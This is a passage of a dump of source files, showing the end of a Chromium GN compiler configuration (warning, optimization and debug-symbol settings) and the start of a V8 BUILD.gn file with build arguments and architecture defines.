2015 64-bit warning for integer to larger pointer.\n      # TODO(brucedawson): fix warnings, crbug.com/554200\n      \"/wd4312\",\n    ]\n\n    if (current_cpu == \"x86\") {\n      cflags += [\n        # VC++ 2015 changes 32-bit size_t truncation warnings from 4244 to\n        # 4267. Example: short TruncTest(size_t x) { return x; }\n        # Since we disable 4244 we need to disable 4267 during migration.\n        # TODO(jschuh): crbug.com/167187 fix size_t to int truncations.\n        \"/wd4267\",\n      ]\n    }\n\n    # VS xtree header file needs to be patched or 4702 (unreachable code\n    # warning) is reported if _HAS_EXCEPTIONS=0. Disable the warning if xtree is\n    # not patched.\n    if (!msvs_xtree_patched &&\n        exec_script(\"../../win_is_xtree_patched.py\", [], \"value\") == 0) {\n      cflags += [ \"/wd4702\" ]  # Unreachable code.\n    }\n\n    # Building with Clang on Windows is a work in progress and very\n    # experimental. See crbug.com/82385.\n    if (is_clang) {\n      cflags += [\n        # TODO(hans): Make this list shorter eventually, http://crbug.com/504657\n        \"-Wno-microsoft-enum-value\",  # http://crbug.com/505296\n        \"-Wno-unknown-pragmas\",  # http://crbug.com/505314\n        \"-Wno-microsoft-cast\",  # http://crbug.com/550065\n      ]\n    }\n  } else {\n    if (is_mac && !is_nacl) {\n      # When compiling Objective-C, warns if a method is used whose\n      # availability is newer than the deployment target. This is not\n      # required when compiling Chrome for iOS.\n      cflags += [ \"-Wpartial-availability\" ]\n    }\n\n    # Suppress warnings about ABI changes on ARM (Clang doesn't give this\n    # warning).\n    if (current_cpu == \"arm\" && !is_clang) {\n      cflags += [ \"-Wno-psabi\" ]\n    }\n\n    if (!is_clang) {\n      cflags_cc += [\n        # See comment for -Wno-c++11-narrowing.\n        \"-Wno-narrowing\",\n      ]\n\n      # Don't warn about the \"typedef 'foo' locally defined but not used\"\n      # for gcc 4.8.\n      # TODO: remove this flag once all builds work. See crbug.com/227506\n      cflags += [ \"-Wno-unused-local-typedefs\" ]\n\n      # Don't warn about \"maybe\" uninitialized. Clang doesn't include this\n      # in -Wall but gcc does, and it gives false positives.\n      cflags += [ \"-Wno-maybe-uninitialized\" ]\n    }\n  }\n\n  # Common Clang and GCC warning setup.\n  if (!is_win || is_clang) {\n    cflags += [\n      # Disables.\n      \"-Wno-missing-field-initializers\",  # \"struct foo f = {0};\"\n      \"-Wno-unused-parameter\",  # Unused function parameters.\n    ]\n  }\n\n  if (is_chromeos) {\n    # TODO(thakis): Remove, http://crbug.com/263960\n    if (is_clang) {\n      cflags_cc += [ \"-Wno-reserved-user-defined-literal\" ]\n    } else {\n      cflags_cc += [ \"-Wno-literal-suffix\" ]\n    }\n  }\n\n  if (is_clang) {\n    cflags += [\n      # TODO(thakis): Consider -Wloop-analysis (turns on\n      # -Wrange-loop-analysis too).\n\n      # This warns on using ints as initializers for floats in\n      # initializer lists (e.g. |int a = f(); CGSize s = { a, a };|),\n      # which happens in several places in chrome code. Not sure if\n      # this is worth fixing.\n      \"-Wno-c++11-narrowing\",\n\n      # Warns on switches on enums that cover all enum values but\n      # also contain a default: branch. Chrome is full of that.\n      \"-Wno-covered-switch-default\",\n\n      # Clang considers the `register` keyword as deprecated, but e.g.\n      # code generated by flex (used in angle) contains that keyword.\n      # http://crbug.com/255186\n      \"-Wno-deprecated-register\",\n\n      # TODO(thakis): This used to be implied by -Wno-unused-function,\n      # which we no longer use. Check if it makes sense to remove\n      # this as well. http://crbug.com/316352\n      \"-Wno-unneeded-internal-declaration\",\n\n      # TODO(hans): Get this cleaned up, http://crbug.com/428099\n      \"-Wno-inconsistent-missing-override\",\n    ]\n\n    # Chrome's hermetic Clang compiler, NaCl's Clang compiler and Xcode's Clang\n    # compiler will almost always have different versions. Certain flags may not\n    # be recognized by one version or the other.\n    if (!is_nacl) {\n      # Flags NaCl (Clang 3.7) does not recognize.\n      cflags += [\n        # TODO(thakis): Enable this, crbug.com/507717\n        \"-Wno-shift-negative-value\",\n      ]\n    }\n    if (!is_nacl && !use_xcode_clang) {\n      # Flags NaCl (Clang 3.7) and Xcode 7.3 (Clang clang-703.0.31) do not\n      # recognize.\n      cflags += [\n        # TODO(thakis): https://crbug.com/604888\n        \"-Wno-undefined-var-template\",\n\n        # TODO(thakis): https://crbug.com/617318\n        \"-Wno-nonportable-include-path\",\n\n        # TODO(hans): https://crbug.com/637306\n        \"-Wno-address-of-packed-member\",\n      ]\n    }\n  }\n}\n\n# chromium_code ---------------------------------------------------------------\n#\n# Toggles between higher and lower warnings for code that is (or isn't)\n# part of Chromium.\n\nconfig(\"chromium_code\") {\n  if (is_win) {\n    cflags = [ \"/W4\" ]  # Warning level 4.\n\n    # Assume UTF-8 by default to avoid code page dependencies.\n    cflags += [ \"/utf-8\" ]\n  } else {\n    cflags = [ \"-Wall\" ]\n    if (treat_warnings_as_errors) {\n      cflags += [ \"-Werror\" ]\n\n      # The compiler driver can sometimes (rarely) emit warnings before calling\n      # the actual linker.  Make sure these warnings are treated as errors as\n      # well.\n      ldflags = [ \"-Werror\" ]\n    }\n    if (is_clang) {\n      # Enable -Wextra for chromium_code when we control the compiler.\n      cflags += [ \"-Wextra\" ]\n    }\n\n    # In Chromium code, we define __STDC_foo_MACROS in order to get the\n    # C99 macros on Mac and Linux.\n    defines = [\n      \"__STDC_CONSTANT_MACROS\",\n      \"__STDC_FORMAT_MACROS\",\n    ]\n\n    if (!is_debug && !using_sanitizer &&\n        (!is_linux || !is_clang || is_official_build)) {\n      # _FORTIFY_SOURCE isn't really supported by Clang now, see\n      # http://llvm.org/bugs/show_bug.cgi?id=16821.\n      # It seems to work fine with Ubuntu 12 headers though, so use it in\n      # official builds.\n      #\n      # Non-chromium code is not guaranteed to compile cleanly with\n      # _FORTIFY_SOURCE. Also, fortified build may fail when optimizations are\n      # disabled, so only do that for Release build.\n      defines += [ \"_FORTIFY_SOURCE=2\" ]\n    }\n\n    if (is_mac || is_ios) {\n      cflags_objc = [ \"-Wobjc-missing-property-synthesis\" ]\n      cflags_objcc = [ \"-Wobjc-missing-property-synthesis\" ]\n    }\n  }\n\n  configs = [ \":default_warnings\" ]\n}\n\nconfig(\"no_chromium_code\") {\n  cflags = []\n  cflags_cc = []\n  defines = []\n\n  if (is_win) {\n    cflags += [\n      \"/W3\",  # Warning level 3.\n      \"/wd4800\",  # Disable warning when forcing value to bool.\n      \"/wd4267\",  # TODO(jschuh): size_t to int.\n      \"/wd4996\",  # Deprecated function warning.\n    ]\n    defines += [\n      \"_CRT_NONSTDC_NO_WARNINGS\",\n      \"_CRT_NONSTDC_NO_DEPRECATE\",\n    ]\n  } else {\n    # GCC may emit unsuppressible warnings so don't add -Werror for no chromium\n    # code. crbug.com/589724\n    if (treat_warnings_as_errors && is_clang) {\n      cflags += [ \"-Werror\" ]\n      ldflags = [ \"-Werror\" ]\n    }\n    if (is_clang && !is_nacl) {\n      # TODO(thakis): Remove !is_nacl once\n      # https://codereview.webrtc.org/1552863002/ made its way into chromium.\n      cflags += [ \"-Wall\" ]\n    }\n  }\n\n  if (is_clang) {\n    cflags += [\n      # Lots of third-party libraries have unused variables. Instead of\n      # suppressing them individually, we just blanket suppress them here.\n      \"-Wno-unused-variable\",\n    ]\n  }\n\n  if (is_linux || is_android) {\n    cflags_cc += [\n      # Don't warn about hash_map in third-party code.\n      \"-Wno-deprecated\",\n    ]\n  }\n\n  configs = [ \":default_warnings\" ]\n}\n\n# rtti ------------------------------------------------------------------------\n#\n# Allows turning Run-Time Type Identification on or off.\n\nconfig(\"rtti\") {\n  if (is_win) {\n    cflags_cc = [ \"/GR\" ]\n  } else {\n    cflags_cc = [ \"-frtti\" ]\n  }\n}\nconfig(\"no_rtti\") {\n  # CFI diagnostics and UBsan vptr require RTTI.\n  if (!use_cfi_diag && !is_ubsan_vptr && !is_ubsan_security) {\n    if (is_win) {\n      cflags_cc = [ \"/GR-\" ]\n    } else {\n      cflags_cc = [ \"-fno-rtti\" ]\n      cflags_objcc = cflags_cc\n    }\n  }\n}\n\n# Warnings ---------------------------------------------------------------------\n\n# This will generate warnings when using Clang if code generates exit-time\n# destructors, which will slow down closing the program.\n# TODO(thakis): Make this a blacklist instead, http://crbug.com/101600\nconfig(\"wexit_time_destructors\") {\n  # TODO: Enable on Windows too, http://crbug.com/404525\n  if (is_clang && !is_win) {\n    cflags = [ \"-Wexit-time-destructors\" ]\n  }\n}\n\n# On Windows compiling on x64, VC will issue a warning when converting\n# size_t to int because it will truncate the value. Our code should not have\n# these warnings and one should use a static_cast or a checked_cast for the\n# conversion depending on the case. However, a lot of code still needs to be\n# fixed. Apply this config to such targets to disable the warning.\n#\n# Note that this can be applied regardless of platform and architecture to\n# clean up the call sites. This will only apply the flag when necessary.\n#\n# TODO(jschuh): crbug.com/167187 fix this and delete this config.\nconfig(\"no_size_t_to_int_warning\") {\n  if (is_win && current_cpu == \"x64\") {\n    cflags = [ \"/wd4267\" ]\n  }\n}\n\n# Some code presumes that pointers to structures/objects are compatible\n# regardless of whether what they point to is already known to be valid.\n# gcc 4.9 and earlier had no way of suppressing this warning without\n# supressing the rest of them.  Here we centralize the identification of\n# the gcc 4.9 toolchains.\nconfig(\"no_incompatible_pointer_warnings\") {\n  cflags = []\n  if (is_clang) {\n    cflags += [ \"-Wno-incompatible-pointer-types\" ]\n  } else if (current_cpu == \"mipsel\") {\n    cflags += [ \"-w\" ]\n  } else if (is_chromeos && current_cpu == \"arm\") {\n    cflags += [ \"-w\" ]\n  }\n}\n\n# Optimization -----------------------------------------------------------------\n#\n# The BUILDCONFIG file sets the \"default_optimization\" config on targets by\n# default. It will be equivalent to either \"optimize\" (release) or\n# \"no_optimize\" (debug) optimization configs.\n#\n# You can override the optimization level on a per-target basis by removing the\n# default config and then adding the named one you want:\n#\n#   configs -= [ \"//build/config/compiler:default_optimization\" ]\n#   configs += [ \"//build/config/compiler:optimize_max\" ]\n\n# Shared settings for both \"optimize\" and \"optimize_max\" configs.\n# IMPORTANT: On Windows \"/O1\" and \"/O2\" must go before the common flags.\nif (is_win) {\n  common_optimize_on_cflags = [\n    \"/Ob2\",  # Both explicit and auto inlining.\n    \"/Oy-\",  # Disable omitting frame pointers, must be after /O2.\n    \"/d2Zi+\",  # Improve debugging of optimized code.\n    \"/Zc:inline\",  # Remove unreferenced COMDAT (faster links).\n  ]\n  if (!is_asan) {\n    common_optimize_on_cflags += [\n      # Put data in separate COMDATs. This allows the linker\n      # to put bit-identical constants at the same address even if\n      # they're unrelated constants, which saves binary size.\n      # This optimization can't be used when ASan is enabled because\n      # it is not compatible with the ASan ODR checker.\n      \"/Gw\",\n    ]\n  }\n  common_optimize_on_ldflags = []\n  if (!is_component_build) {\n    common_optimize_on_ldflags += [ \"/OPT:ICF\" ]  # Redundant COMDAT folding.\n  }\n  if (is_official_build) {\n    common_optimize_on_ldflags += [ \"/OPT:REF\" ]  # Remove unreferenced data.\n    if (!use_lld) {\n      common_optimize_on_ldflags += [\n        # Set the number of LTCG code-gen threads to eight. The default is four.\n        # This gives a 5-10% link speedup.\n        \"/cgthreads:8\",\n      ]\n      if (use_incremental_wpo) {\n        # Incremental Link-time code generation.\n        common_optimize_on_ldflags += [ \"/LTCG:INCREMENTAL\" ]\n      } else {\n        common_optimize_on_ldflags += [ \"/LTCG\" ]  # Link-time code generation.\n      }\n    }\n    if (full_wpo_on_official) {\n      if (use_incremental_wpo) {\n        arflags = [ \"/LTCG:INCREMENTAL\" ]\n      } else {\n        arflags = [ \"/LTCG\" ]\n      }\n    }\n  }\n} else {\n  common_optimize_on_cflags = []\n  common_optimize_on_ldflags = []\n\n  if (is_android) {\n    # TODO(jdduke) Re-enable on mips after resolving linking\n    # issues with libc++ (crbug.com/456380).\n    if (current_cpu != \"mipsel\" && current_cpu != \"mips64el\") {\n      common_optimize_on_ldflags += [\n        # Warn in case of text relocations.\n        \"-Wl,--warn-shared-textrel\",\n      ]\n    }\n  }\n\n  if (is_mac || is_ios) {\n    if (symbol_level == 2) {\n      # Mac dead code stripping requires symbols.\n      common_optimize_on_ldflags += [ \"-Wl,-dead_strip\" ]\n    }\n  } else {\n    # Non-Mac Posix flags.\n\n    common_optimize_on_cflags += [\n      # Don't emit the GCC version ident directives, they just end up in the\n      # .comment section taking up binary size.\n      \"-fno-ident\",\n\n      # Put data and code in their own sections, so that unused symbols\n      # can be removed at link time with --gc-sections.\n      \"-fdata-sections\",\n      \"-ffunction-sections\",\n    ]\n\n    common_optimize_on_ldflags += [\n      # Specifically tell the linker to perform optimizations.\n      # See http://lwn.net/Articles/192624/ .\n      \"-Wl,-O1\",\n      \"-Wl,--gc-sections\",\n    ]\n  }\n}\n\nconfig(\"default_stack_frames\") {\n  if (is_posix && !(is_mac || is_ios)) {\n    if (using_sanitizer || enable_profiling || is_debug ||\n        current_cpu == \"arm64\") {\n      # Explicitly ask for frame pointers, otherwise:\n      # * Stacks may be missing for sanitizer and profiling builds.\n      # * Debug tcmalloc can crash (crbug.com/636489).\n      # * Stacks may be missing for arm64 crash dumps (crbug.com/391706).\n      cflags = [ \"-fno-omit-frame-pointer\" ]\n    } else if (is_android) {\n      cflags = [ \"-fomit-frame-pointer\" ]\n    }\n  }\n}\n\n# Default \"optimization on\" config.\nconfig(\"optimize\") {\n  if (is_win) {\n    # TODO(thakis): Remove is_clang here, https://crbug.com/598772\n    if (is_official_build && full_wpo_on_official && !is_clang) {\n      common_optimize_on_cflags += [\n        \"/GL\",  # Whole program optimization.\n\n        # Disable Warning 4702 (\"Unreachable code\") for the WPO/PGO builds.\n        # Probably anything that this would catch that wouldn't be caught in a\n        # normal build isn't going to actually be a bug, so the incremental\n        # value of C4702 for PGO builds is likely very small.\n        \"/wd4702\",\n      ]\n    }\n\n    # Favor size over speed, /O1 must be before the common flags. The GYP\n    # build also specifies /Os and /GF but these are implied by /O1.\n    cflags = [ \"/O1\" ] + common_optimize_on_cflags + [ \"/Oi\" ]\n  } else if (optimize_for_size) {\n    # Favor size over speed.\n    cflags = [ \"-Os\" ] + common_optimize_on_cflags\n  } else {\n    cflags = [ \"-O2\" ] + common_optimize_on_cflags\n  }\n  ldflags = common_optimize_on_ldflags\n}\n\n# Same config as 'optimize' but without the WPO flag.\nconfig(\"optimize_no_wpo\") {\n  if (is_win) {\n    # Favor size over speed, /O1 must be before the common flags. The GYP\n    # build also specifies /Os and /GF but these are implied by /O1.\n    cflags = [ \"/O1\" ] + common_optimize_on_cflags + [ \"/Oi\" ]\n  } else if (optimize_for_size) {\n    # Favor size over speed.\n    cflags = [ \"-Os\" ] + common_optimize_on_cflags\n  } else if (optimize_for_fuzzing) {\n    cflags = [ \"-O1\" ] + common_optimize_on_cflags\n  } else {\n    cflags = [ \"-O2\" ] + common_optimize_on_cflags\n  }\n  ldflags = common_optimize_on_ldflags\n}\n\n# Turn off optimizations.\nconfig(\"no_optimize\") {\n  if (is_win) {\n    cflags = [\n      \"/Od\",  # Disable optimization.\n      \"/Ob0\",  # Disable all inlining (on by default).\n    ]\n  } else if (is_android && !android_full_debug) {\n    # On Android we kind of optimize some things that don't affect debugging\n    # much even when optimization is disabled to get the binary size down.\n    cflags = [ \"-Os\" ]\n  } else {\n    cflags = [ \"-O0\" ]\n    ldflags = []\n  }\n}\n\n# Turns up the optimization level. On Windows, this implies whole program\n# optimization and link-time code generation which is very expensive and should\n# be used sparingly.\nconfig(\"optimize_max\") {\n  if (is_nacl_irt) {\n    # The NaCl IRT is a special case and always wants its own config.\n    # Various components do:\n    #   if (!is_debug) {\n    #     configs -= [ \"//build/config/compiler:default_optimization\" ]\n    #     configs += [ \"//build/config/compiler:optimize_max\" ]\n    #   }\n    # So this config has to have the selection logic just like\n    # \"default_optimization\", below.\n    configs = [ \"//build/config/nacl:irt_optimize\" ]\n  } else {\n    ldflags = common_optimize_on_ldflags\n    if (is_win) {\n      # Favor speed over size, /O2 must be before the common flags. The GYP\n      # build also specifies /Ot, /Oi, and /GF, but these are implied by /O2.\n      cflags = [ \"/O2\" ] + common_optimize_on_cflags\n\n      if (is_official_build) {\n        if (!is_clang) {\n          cflags += [\n            \"/GL\",  # Whole program optimization.\n\n            # Disable Warning 4702 (\"Unreachable code\") for the WPO/PGO builds.\n            # Probably anything that this would catch that wouldn't be caught\n            # in a normal build isn't going to actually be a bug, so the\n            # incremental value of C4702 for PGO builds is likely very small.\n            \"/wd4702\",\n          ]\n        } else if (is_clang && use_lld) {\n          cflags += [ \"-flto\" ]  # Link-time optimization (whole program optimization).\n        }\n      }\n    } else if (optimize_for_fuzzing) {\n      cflags = [ \"-O1\" ] + common_optimize_on_cflags\n    } else {\n      cflags = [ \"-O2\" ] + common_optimize_on_cflags\n    }\n  }\n}\n\n# This config can be used to override the default settings for per-component\n# and whole-program optimization, optimizing the particular target for speed\n# instead of code size. This config is exactly the same as \"optimize_max\"\n# except that we use -O3 instead of -O2 on non-win, non-IRT platforms.\n#\n# TODO(crbug.com/621335) - rework how all of these configs are related\n# so that we don't need this disclaimer.\nconfig(\"optimize_speed\") {\n  if (is_nacl_irt) {\n    # The NaCl IRT is a special case and always wants its own config.\n    # Various components do:\n    #   if (!is_debug) {\n    #     configs -= [ \"//build/config/compiler:default_optimization\" ]\n    #     configs += [ \"//build/config/compiler:optimize_max\" ]\n    #   }\n    # So this config has to have the selection logic just like\n    # \"default_optimization\", below.\n    configs = [ \"//build/config/nacl:irt_optimize\" ]\n  } else {\n    ldflags = common_optimize_on_ldflags\n    if (is_win) {\n      # Favor speed over size, /O2 must be before the common flags. The GYP\n      # build also specifies /Ot, /Oi, and /GF, but these are implied by /O2.\n      cflags = [ \"/O2\" ] + common_optimize_on_cflags\n\n      # TODO(thakis): Remove is_clang here, https://crbug.com/598772\n      if (is_official_build && !is_clang) {\n        cflags += [\n          \"/GL\",  # Whole program optimization.\n\n          # Disable Warning 4702 (\"Unreachable code\") for the WPO/PGO builds.\n          # Probably anything that this would catch that wouldn't be caught in a\n          # normal build isn't going to actually be a bug, so the incremental\n          # value of C4702 for PGO builds is likely very small.\n          \"/wd4702\",\n        ]\n      }\n    } else if (optimize_for_fuzzing) {\n      cflags = [ \"-O1\" ] + common_optimize_on_cflags\n    } else {\n      cflags = [ \"-O3\" ] + common_optimize_on_cflags\n    }\n  }\n}\n\nconfig(\"optimize_fuzzing\") {\n  cflags = [ \"-O1\" ] + common_optimize_on_cflags\n  ldflags = common_optimize_on_ldflags\n  visibility = [ \":default_optimization\" ]\n}\n\n# The default optimization applied to all targets. This will be equivalent to\n# either \"optimize\" or \"no_optimize\", depending on the build flags.\nconfig(\"default_optimization\") {\n  if (is_nacl_irt) {\n    # The NaCl IRT is a special case and always wants its own config.\n    # It gets optimized the same way regardless of the type of build.\n    configs = [ \"//build/config/nacl:irt_optimize\" ]\n  } else if (is_debug) {\n    configs = [ \":no_optimize\" ]\n  } else if (optimize_for_fuzzing) {\n    assert(!is_win, \"Fuzzing optimize level not supported on Windows\")\n    configs = [ \":optimize_fuzzing\" ]\n  } else {\n    configs = [ \":optimize\" ]\n  }\n}\n\n# GCC supports a form of profile-guided optimization called AFDO, which\n# is used by ChromeOS in their official builds. However,\n# //base/allocator:tcmalloc currently doesn't work correctly with AFDO\n# so we provide separate config so that the flag can be disabled per-target.\n# TODO(crbug.com/633719): Remove this config once tcmalloc works with AFDO\n# or we remove tcmalloc or we stop using AFDO.\nconfig(\"afdo\") {\n  if (auto_profile_path != \"\" && current_toolchain == default_toolchain) {\n    cflags = [ \"-fauto-profile=${auto_profile_path}\" ]\n  }\n}\n\n# Symbols ----------------------------------------------------------------------\n\n# The BUILDCONFIG file sets the \"default_symbols\" config on targets by\n# default. It will be equivalent to one the three specific symbol levels.\n#\n# You can override the symbol level on a per-target basis by removing the\n# default config and then adding the named one you want:\n#\n#   configs -= [ \"//build/config/compiler:default_symbols\" ]\n#   configs += [ \"//build/config/compiler:symbols\" ]\n\n# Full symbols.\nconfig(\"symbols\") {\n  if (is_win) {\n    cflags = [ \"/Zi\" ]  # Produce PDB file, no edit and continue.\n\n    if (is_win_fastlink) {\n      # Tell VS 2015+ to create a PDB that references debug\n      # information in .obj and .lib files instead of copying\n      # it all. This flag is incompatible with /PROFILE\n      ldflags = [ \"/DEBUG:FASTLINK\" ]\n    } else {\n      ldflags = [ \"/DEBUG\" ]\n    }\n  } else {\n    if (is_mac || is_ios) {\n      cflags = [ \"-gdwarf-2\" ]\n      if (is_mac && enable_dsyms) {\n        # If generating dSYMs, specify -fno-standalone-debug. This was\n        # originally specified for https://crbug.com/479841 because dsymutil\n        # could not handle a 4GB dSYM file. But dsymutil from Xcodes prior to\n        # version 7 also produces debug data that is incompatible with Breakpad\n        # dump_syms, so this is still required (https://crbug.com/622406).\n        cflags += [ \"-fno-standalone-debug\" ]\n      }\n    } else if (is_android) {\n      # Breakpad can't handle DWARF 4 symbols properly yet, so use DWARF 3\n      # explicitly on android where we are hitting https://crbug.com/638485.\n      # The arguments MUST be in this order because of a gcc arg parsing bug.\n      cflags = [\n        \"-gdwarf-3\",\n        \"-g2\",\n      ]\n    } else {\n      cflags = [ \"-g2\" ]\n    }\n    if (use_debug_fission) {\n      cflags += [ \"-gsplit-dwarf\" ]\n    }\n    asmflags = cflags\n    ldflags = []\n  }\n}\n\n# Minimal symbols.\nconfig(\"minimal_symbols\") {\n  if (is_win) {\n    # Linker symbols for backtraces only.\n    cflags = []\n    ldflags = [ \"/DEBUG\" ]\n  } else {\n    if (is_android) {\n      # Breakpad can't handle DWARF 4 symbols properly yet, so use DWARF 3\n      # explicitly on android where we are hitting https://crbug.com/638485.\n      # The arguments MUST be in this order because of a gcc arg parsing bug.\n      cflags = [\n        \"-gdwarf-3\",\n        \"-g1\",\n      ]\n    } else {\n      cflags = [ \"-g1\" ]\n    }\n    if (use_debug_fission) {\n      cflags += [ \"-gsplit-dwarf\" ]\n    }\n    asmflags = cflags\n    ldflags = []\n  }\n}\n\n# No symbols.\nconfig(\"no_symbols\") {\n  if (!is_win) {\n    cflags = [ \"-g0\" ]\n    asmflags = cflags\n  }\n}\n\n# Default symbols.\nconfig(\"default_symbols\") {\n  if (symbol_level == 0) {\n    configs = [ \":no_symbols\" ]\n  } else if (symbol_level == 1) {\n    configs = [ \":minimal_symbols\" ]\n  } else if (symbol_level == 2) {\n    configs = [ \":symbols\" ]\n  } else {\n    assert(false)\n  }\n}\n\nif (is_ios || is_mac) {\n  # On Mac and iOS, this enables support for ARC (automatic ref-counting).\n  # See http://clang.llvm.org/docs/AutomaticReferenceCounting.html.\n  config(\"enable_arc\") {\n    common_flags = [ \"-fobjc-arc\" ]\n    cflags_objc = common_flags\n    cflags_objcc = common_flags\n  }\n}\n"
  },
  {
    "path": "samples/GN/BUILD.gn",
    "content": "# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/android/config.gni\")\nimport(\"//build/config/arm.gni\")\nimport(\"//build/config/dcheck_always_on.gni\")\nimport(\"//build/config/mips.gni\")\nimport(\"//build/config/sanitizers/sanitizers.gni\")\n\nif (is_android) {\n  import(\"//build/config/android/rules.gni\")\n}\n\nimport(\"gni/v8.gni\")\nimport(\"gni/isolate.gni\")\nimport(\"//build_overrides/v8.gni\")\n\nimport(\"snapshot_toolchain.gni\")\n\ndeclare_args() {\n  # Print to stdout on Android.\n  v8_android_log_stdout = false\n\n  # Sets -DVERIFY_HEAP.\n  v8_enable_verify_heap = false\n\n  # Enable compiler warnings when using V8_DEPRECATED apis.\n  v8_deprecation_warnings = false\n\n  # Enable compiler warnings when using V8_DEPRECATE_SOON apis.\n  v8_imminent_deprecation_warnings = \"\"\n\n  # Embeds the given script into the snapshot.\n  v8_embed_script = \"\"\n\n  # Sets -dENABLE_DISASSEMBLER.\n  v8_enable_disassembler = \"\"\n\n  # Sets -dENABLE_GDB_JIT_INTERFACE.\n  v8_enable_gdbjit = \"\"\n\n  # Sets -dENABLE_HANDLE_ZAPPING.\n  v8_enable_handle_zapping = is_debug\n\n  # Enable ECMAScript Internationalization API. Enabling this feature will\n  # add a dependency on the ICU library.\n  v8_enable_i18n_support = true\n\n  # Enable slow dchecks.\n  v8_enable_slow_dchecks = false\n\n  # Interpreted regexp engine exists as platform-independent alternative\n  # based where the regular expression is compiled to a bytecode.\n  v8_interpreted_regexp = false\n\n  # Sets -dOBJECT_PRINT.\n  v8_object_print = \"\"\n\n  # With post mortem support enabled, metadata is embedded into libv8 that\n  # describes various parameters of the VM for use by debuggers. See\n  # tools/gen-postmortem-metadata.py for details.\n  v8_postmortem_support = false\n\n  # Similar to vfp but on MIPS.\n  v8_can_use_fpu_instructions = true\n\n  # Similar to the ARM hard float ABI but on MIPS.\n  v8_use_mips_abi_hardfloat = true\n}\n\n# Set project-specific defaults for some args if not provided in args.gn. The\n# defaults can be set in the respective build_overrides files.\nif (v8_imminent_deprecation_warnings == \"\") {\n  if (defined(v8_imminent_deprecation_warnings_default)) {\n    v8_imminent_deprecation_warnings = v8_imminent_deprecation_warnings_default\n  } else {\n    v8_imminent_deprecation_warnings = false\n  }\n}\nif (v8_enable_gdbjit == \"\") {\n  if (defined(v8_enable_gdbjit_default)) {\n    v8_enable_gdbjit = v8_enable_gdbjit_default\n  } else {\n    v8_enable_gdbjit = false\n  }\n}\n\n# Derived defaults.\nif (v8_object_print == \"\") {\n  v8_object_print = is_debug && !v8_optimized_debug\n}\nif (v8_enable_disassembler == \"\") {\n  v8_enable_disassembler = is_debug && !v8_optimized_debug\n}\n\nv8_generated_peephole_source = \"$target_gen_dir/bytecode-peephole-table.cc\"\nv8_random_seed = \"314159265\"\nv8_toolset_for_shell = \"host\"\n\n###############################################################################\n# Configurations\n#\nconfig(\"internal_config\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  include_dirs = [ \".\" ]\n\n  if (is_component_build) {\n    defines = [\n      \"V8_SHARED\",\n      \"BUILDING_V8_SHARED\",\n    ]\n  }\n}\n\nconfig(\"internal_config_base\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  include_dirs = [ \".\" ]\n}\n\n# This config should be applied to code using the libplatform.\nconfig(\"libplatform_config\") {\n  include_dirs = [ \"include\" ]\n}\n\n# This config should be applied to code using the libsampler.\nconfig(\"libsampler_config\") {\n  include_dirs = [ \"include\" ]\n}\n\n# This config should only be applied to code using V8 and not any V8 code\n# itself.\nconfig(\"external_config\") {\n  if (is_component_build) {\n    defines = [\n      \"V8_SHARED\",\n      \"USING_V8_SHARED\",\n    ]\n  }\n  include_dirs = [ \"include\" ]\n  libs = []\n  if (is_android && current_toolchain != host_toolchain) {\n    libs += [ \"log\" ]\n  }\n}\n\n# This config should only be applied to code that needs to be explicitly\n# aware of whether we are using startup data or not.\nconfig(\"external_startup_data\") {\n  if (v8_use_external_startup_data) {\n    defines = [ \"V8_USE_EXTERNAL_STARTUP_DATA\" ]\n  }\n}\n\nconfig(\"features\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  defines = []\n\n  if (v8_enable_disassembler) {\n    defines += [ \"ENABLE_DISASSEMBLER\" ]\n  }\n  if (v8_enable_gdbjit) {\n    defines += [ \"ENABLE_GDB_JIT_INTERFACE\" ]\n  }\n  if (v8_object_print) {\n    defines += [ \"OBJECT_PRINT\" ]\n  }\n  if (v8_enable_verify_heap) {\n    defines += [ \"VERIFY_HEAP\" ]\n  }\n  if (v8_interpreted_regexp) {\n    defines += [ \"V8_INTERPRETED_REGEXP\" ]\n  }\n  if (v8_deprecation_warnings) {\n    defines += [ \"V8_DEPRECATION_WARNINGS\" ]\n  }\n  if (v8_imminent_deprecation_warnings) {\n    defines += [ \"V8_IMMINENT_DEPRECATION_WARNINGS\" ]\n  }\n  if (v8_enable_i18n_support) {\n    defines += [ \"V8_I18N_SUPPORT\" ]\n  }\n  if (v8_enable_handle_zapping) {\n    defines += [ \"ENABLE_HANDLE_ZAPPING\" ]\n  }\n  if (v8_use_external_startup_data) {\n    defines += [ \"V8_USE_EXTERNAL_STARTUP_DATA\" ]\n  }\n}\n\nconfig(\"toolchain\") {\n  visibility = [ \":*\" ]  # Only targets in this file can depend on this.\n\n  defines = []\n  cflags = []\n  ldflags = []\n\n  if (v8_current_cpu == \"arm\") {\n    defines += [ \"V8_TARGET_ARCH_ARM\" ]\n    if (arm_version == 7) {\n      defines += [ \"CAN_USE_ARMV7_INSTRUCTIONS\" ]\n    }\n    if (arm_fpu == \"vfpv3-d16\") {\n      defines += [ \"CAN_USE_VFP3_INSTRUCTIONS\" ]\n    } else if (arm_fpu == \"vfpv3\") {\n      defines += [\n        \"CAN_USE_VFP3_INSTRUCTIONS\",\n        \"CAN_USE_VFP32DREGS\",\n      ]\n    } else if (arm_fpu == \"neon\") {\n      defines += [\n        \"CAN_USE_VFP3_INSTRUCTIONS\",\n        \"CAN_USE_VFP32DREGS\",\n        \"CAN_USE_NEON\",\n      ]\n    }\n\n    # TODO(jochen): Add support for arm_test_noprobe.\n\n    if (current_cpu != \"arm\") {\n      # These defines ares used for the ARM simulator.\n      if (arm_float_abi == \"hard\") {\n        defines += [ \"USE_EABI_HARDFLOAT=1\" ]\n      } else if (arm_float_abi == \"softfp\") {\n        defines += [ \"USE_EABI_HARDFLOAT=0\" ]\n      }\n    }\n  }\n  if (v8_current_cpu == \"arm64\") {\n    defines += [ \"V8_TARGET_ARCH_ARM64\" ]\n  }\n\n  # TODO(jochen): Add support for mips.\n  if (v8_current_cpu == \"mipsel\") {\n    defines += [ \"V8_TARGET_ARCH_MIPS\" ]\n    if (v8_can_use_fpu_instructions) {\n      defines += [ \"CAN_USE_FPU_INSTRUCTIONS\" ]\n    }\n    if (v8_use_mips_abi_hardfloat) {\n      defines += [\n        \"__mips_hard_float=1\",\n        